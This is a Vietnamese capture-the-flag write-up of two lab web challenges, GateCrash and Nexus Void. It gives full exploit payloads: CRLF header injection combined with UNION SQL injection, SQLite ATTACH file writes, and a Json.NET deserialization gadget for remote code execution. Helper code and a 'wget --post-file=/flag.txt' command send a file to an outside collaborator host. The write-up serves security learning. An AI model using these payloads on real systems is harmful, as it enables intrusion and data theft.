# University CTF 2023: Brains & Bytes write up # GateCrash source: [web_gatecrash.zip](https://github.com/tu3n4nh/CTF/blob/main/UniversityCTF2023/web_gatecrash.zip) Đây là chall web đầu tiên của giải University CTF 2023, để solve bài này cần sự kết hợp giữa hai lỗ hổng CRLF để fake requset body và SQLI (UNION Based) để chèn bản ghi do chúng ta kiểm soát và kết quả của truy vấn. ## Phân tích Khi truy cập vào chall chỉ có màn hình login và nhưng không có register. ![image](https://hackmd.io/_uploads/Bym73IV8T.png) Chall cung cấp source cho chúng ta source, sau khi download và giải nén, mình đọc qua Dockerfile và nắm một số thông tin: 1.Ứng dụng chứa 2 service bằng 2 ngôn ngữ là golang và nim ![image](https://hackmd.io/_uploads/S1FUh_mIp.png) 2.Để lấy được flag cần đăng nhập thành công (response.code = Http200) vào tài khoản ![image](https://hackmd.io/_uploads/H1gKnum8a.png) 3.Tài khoản đó được khởi tạo với username random và password random ![image](https://hackmd.io/_uploads/HyXy6umU6.png) Quay lại với ứng dụng thì truy cập vào ứng dụng mình thầy một form login: ![image](https://hackmd.io/_uploads/B1Nj6OXIa.png) Khi submit form trên sẽ call api POST /user trên service `main.nim` sẽ check input data ![image](https://hackmd.io/_uploads/BJ8LeFXU6.png) Hàm check `containsSqlInjection` làm cho mình không thể thực hiện sqli tại đây được ![image](https://hackmd.io/_uploads/ryudzFmU6.png) Nếu pass qua hàm check `containsSqlInjection` post data sẽ được convert sang json và service `main.nim` sẽ tạo một request backend to backend (POST /login) đến service `main.go` để authen ![image](https://hackmd.io/_uploads/Hy5Kgt7Ip.png) Nếu request trên trả về `response.code == Http200` thì mình sẽ có được flag Phía bên service `main.go` request POST /login sẽ được xử lý bởi hàm `loginHandler` mình cần pass qua hết những điều kiện check của hàm này để có được `http.StatusOK` ![image](https://hackmd.io/_uploads/BkCOWK7La.png) Đầu tiên là check browser từ header `user-agent` phải nằm trong list bên dưới nếu không response sẽ trả về "false" ![image](https://hackmd.io/_uploads/Hk6AXtQLa.png) ![image](https://hackmd.io/_uploads/SJ1IEYQU6.png) Tiếp theo decode json và gán giá trị của username và password cho đối tượng user mới khởi tạo, nếu có lỗi trong quá trình decode json response sẽ trả về "false" ![image](https://hackmd.io/_uploads/HkT7St7La.png) Sau đó là so sánh username và password với dữ liệu trong database, nếu không giống nhau response sẽ trả về "false" ![image](https://hackmd.io/_uploads/SkxurKmUp.png) Hmmm, username và password đều random, password lại còn encode bcrypt, câu query cho username thì lại sử dụng cộng chuỗi nên khả năng rất cao là mình cần sql injection tại đây sử dụng union để chèn thêm bản ghi do mình control. Demo trên https://sqliteonline.com/ với payload `' union select 1, "admin" as name,"$2a$10$vK0KG9NWWKbhrkdI6cREBOSLGJJDDKJHtDIJKwwOItttakYrTyTse" as hint from demo-- -` ![image](https://hackmd.io/_uploads/B1YV5t786.png) Lúc này luôn luôn có 1 bản ghi do uion tạo ra nên sẽ bypass được điều kiện check `row.Scan` Password trả về từ bản ghi được so sánh với password mình nhập vào mà cả hai đều do mình kiểm soát. Phần xử lý sqli đã ổn, nhưng giờ làm sao để control được giá trị của trường username khi username submit lên đã qua hàm `containsSqlInjection` check? Quay trở lại với service `main.nim` mình thấy rằng header `user-agent` gửi cho service `main.go` được lấy từ request mình gửi lên service `main.nim` ![image](https://hackmd.io/_uploads/r1DnOFX8p.png) Dựa vào CRLF mình có thể fake json body mới từ đó control được trường username. Lúc này cần lưu ý là dữ liệu mình CRLF vào user-agent sẽ không được tính vào Content-Length. request POST /login sẽ tính Content-Length dựa theo độ dài của json nó convert từ `form-urlencoded`. nên để đảm bảo Content-Length của reques >= đoạn CRLF mình inject vào mình sẽ chèn thêm ký tự vào `form-urlencoded` để tăng độ dài của Content-Length. ## Khai thác Để 2 password mình nhập và password mình inject vào bản ghi được giống nhau mình tạo một project golang mới để gen password bcrypt theo server. Chạy lệnh `go mod init example.com/myproject` để tạo project mới, tạo file `script.go` với nội dung: ```go= // script.go package main import ( "fmt" "golang.org/x/crypto/bcrypt" ) func main() { newPass := "yourpasswordhere" // Tạo hashed password từ mật khẩu mới hashedPassword, err := bcrypt.GenerateFromPassword([]byte(newPass), bcrypt.DefaultCost) if err != nil { fmt.Println(err) return } // In ra hashed password fmt.Println("Password:", string(newPass)) fmt.Println("Hashed Password:", string(hashedPassword)) } ``` Cần cài thêm package `golang.org/x/crypto/bcrypt` để chạy được project với câu lệnh `go get golang.org/x/crypto/bcrypt`, cuối cùng là chạy project với câu lệnh `go run script.go` ![image](https://hackmd.io/_uploads/H1DAb9mUp.png) Mình tạo request POST /user với payload `User-Agent: Mozilla/7.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36%0d%0a%0d%0a%7b%22username%22%3a%22'%20union%20select%201%2c%20'admin'%20as%20username%2c'%242a%2410%2477y%2fiuyWWeoxGlW8Wl3aRO%2fpYxZQPGTq32UXcMs6JZz6Ywgwho7Li'%20as%20password%20from%20users--%20-%22%2c%22password%22%3a%22yourpasswordhere%22%7d` Vì đoạn json fake sau khi được url decode có độ dài 172 ký tự nên số ký tự trong `from-urlencoded` tối thiểu phải là 162 để khi convert sang json tăng thêm 10 ký tự là vừa đủ 172 ký tự ![image](https://hackmd.io/_uploads/HJrJN5mUa.png) --- # Nexus Void source: source: [web_nexus_void.zip](https://github.com/tu3n4nh/CTF/blob/main/UniversityCTF2023/web_nexus_void.zip) Đây là chall web thứ hai của giải University CTF 2023, để solve bài này cần sự kết hợp giữa hai lỗ hổng SQLI để chèn data vào bảng Wishlist và JSON.NET deserialize data đó để lấy flag ## Phân tích Vào chall mình nhận được một form login và register ![image](https://hackmd.io/_uploads/BJ5gvPNLa.png) Register và đăng nhập mình nhận được dashboard như sau ![img](https://github.com/hackthebox/uni-ctf-2023/raw/main/uni-ctf-2023/web/%5BMedium%5D%20Nexus%20Void/assets/dash.png) Thêm item vào favourites ![image](https://hackmd.io/_uploads/H1FkYv4La.png) Đề cho chúng ta source, sau khi download và giải nén mình thấy có khá là nhiều source, sau khi đọc qua `Dockerfile` ![image](https://hackmd.io/_uploads/r1ZOqBQ86.png) Đây là chall web sử dụng C# .NET, flag được đặt ở root path. Để đọc được flag ở đây thì mình nghĩ cần rce, hoặc read file local. Đọc file `Nexus_Void.csproj` thì mình thấy app sử dụng `sqlite` ![image](https://hackmd.io/_uploads/rkS_hr7U6.png) Quay qua với app thì mình để ý đến Controllers và Models, với Controllers có 2 file là `LoginController.cs` và `HomeController.cs`. File `LoginController.cs` gồm các api Đăng ký ![image](https://hackmd.io/_uploads/BJVES8XU6.png) POST /Login/Create Đăng nhập (Lưu ý để đăng nhập được thì cẩn chỉnh là secret trong `appsettings.json` để đảm bảo độ dài là 128 bits) ![image](https://hackmd.io/_uploads/BkCWrLXUa.png) POST / File `HomeController.cs` gồm các api Xem danh sách yêu thích ![image](https://hackmd.io/_uploads/BJwk8UXUT.png) GET /Home/Wishlist Thêm vào danh sách yêu thích ![image](https://hackmd.io/_uploads/ryTbI8m8a.png) POST /Home/Wishlist Update tên user ![image](https://hackmd.io/_uploads/BJ4RuLQLa.png) POST /Home/Setting Và một số api khá đáng ngờ như /status, /uptime, health ![image](https://hackmd.io/_uploads/rJZJDUmIp.png) GET /status Nhưng câu truy vấn sql trong 2 Controllers này đều sử dụng cộng chuỗi nên đều bị dính sql injection. ![image](https://hackmd.io/_uploads/BJ4RuLQLa.png) POST /Home/Setting Đọc đến đây mình nghĩ đến sqli to readfile local nhưng trong sqlite không hỗ trợ trực tiếp hàm `readfile()` mà phải read file qua thư viện ![image](https://hackmd.io/_uploads/SJzDjIQ86.png) Mình tiếp tục thử với hướng sqli attach file để ghi đề file `/tmp/disk.sh` vì khi call api /status lệnh `bash /tmp/disk.sh` được truyền vào thuộc tính `command` của class `StatusCheckHelper` và command sau khi set sẽ được thực thi bằng `/bin/bash -c `: ![image](https://hackmd.io/_uploads/r1Pg3UXUp.png) Nhưng khi thực hiện sqli với payload `username=123'; ATTACH DATABASE '/tmp/disk.sh' as lmao; CREATE TABLE lmao.pwn(dataz text); INSERT INTO lmao.pwn (dataz) VALUES ("cat /flag.txt");--` thì lại bị lỗi và không thể upload được file lên ![image](https://hackmd.io/_uploads/r1Iia8mLp.png) Mình thử lại nhưng đổi tên file upload thành `disk1.sh` thì upload thành công ![image](https://hackmd.io/_uploads/S1Tl1wXIp.png) ![image](https://hackmd.io/_uploads/SkQHkvmL6.png) Nhưng upload cùng tên thì không thể ghi đè được. Đến đây thì mình khá là bế stuck. Đến khi có hint: ![image](https://hackmd.io/_uploads/B1EexD7UT.png) Mình tìm kiếm đoạn deserialize mình thấy rằng sau khi thêm item vào danh sách yêu thích (POST /Home/Wishlist) thì item data sẽ được serialize và lưu vào bảng Wishlist ![image](https://hackmd.io/_uploads/BJKoGwQ8p.png) ![image](https://hackmd.io/_uploads/Sy47MP78p.png) Khi vào xem danh sách item yêu thích (GET /Home/Wishlist) thì item data sẽ được deserialize và đưa vào instance mới của class `ProductModel` ![image](https://hackmd.io/_uploads/B1xB7v7Lp.png) Mà data serialized dựa vào sqli mình có thể injection thẳng vào data của bảng Wishlist Còn về gadget thì mình để ý đến file `StatusCheckHelper.cs` vì file này có thể chạy được câu lệnh của hệ thống và khi mình set giá trị của thuộc tính `command` thì giá trị đó sẽ được thực thi. ![image](https://hackmd.io/_uploads/SkIRnwX8T.png) Dựa vào deserialize và thuộc tính `command` mình đã có thể rce! ## Khai thác Sau khi check trong docker thì mình thấy server không có curl nhưng lại có wget nên lúc này mình cần tạo payload serialize là class `StatusCheckHelper` với `command` là lệnh `wget --post-file=/flag.txt o3s6mjg2jnyeyrpfqy01efu0ur0kodc2.oastify.com` Để serialize được mình cần cài dotnet (ở cài bản .NET8.0), sau đó khởi tạo project mới bằng lệnh `dotnet new console -n myapp -f net8.0` truy cập tới project vừa tạo thêm các file Models, Helpers, sửa file `Program.cs` và namespace tương ứng: ![image](https://hackmd.io/_uploads/HkTEGOQIT.png) ```csharp= // Program.cs using Newtonsoft.Json; using myapp.Models; using myapp.Helpers; StatusCheckHelper statusCheck = new StatusCheckHelper(); // Gán giá trị cho thuộc tính command statusCheck.command = "wget bu9td67paap1peg2hlro52lnler5fv3k.oastify.com"; string serializedResult = JsonConvert.SerializeObject(statusCheck, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); string encodedData = EncodeHelper.Encode(serializedResult); Console.WriteLine("Output: " + serializedResult); Console.WriteLine("Serialize: " + encodedData); ``` Cần cài package Newtonsoft.Json bằng câu lệnh `dotnet add package Newtonsoft.Json` sau đó chạy project bằng lệnh `dotnet run` ![image](https://hackmd.io/_uploads/B1py4_7L6.png) Lấy serialized data trên inject vào bảng Wishlist với payload `username=123'%3b+UPDATE+Wishlist+SET+data%3d'eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsIm91dHB1dCI6IlNvbWV0aGluZyB3ZW50IHdyb25nISIsImNvbW1hbmQiOiJ3Z2V0IC0tcG9zdC1maWxlIC9mbGFnLnR4dCBjemZ1aTdjcWZidTJ1ZmwzbW13cGEzcW9xZnc4azA4cC5vYXN0aWZ5LmNvbSJ9'--` ![image](https://hackmd.io/_uploads/rJ0lBO78a.png) Call api `GET /Home/Wishlist` để invoke hàm `Deserialize` ![image](https://hackmd.io/_uploads/Bys8B_QLa.png) Sang tab Burp Collaborator để lấy flag :v: ![image](https://hackmd.io/_uploads/H1icBOQI6.png)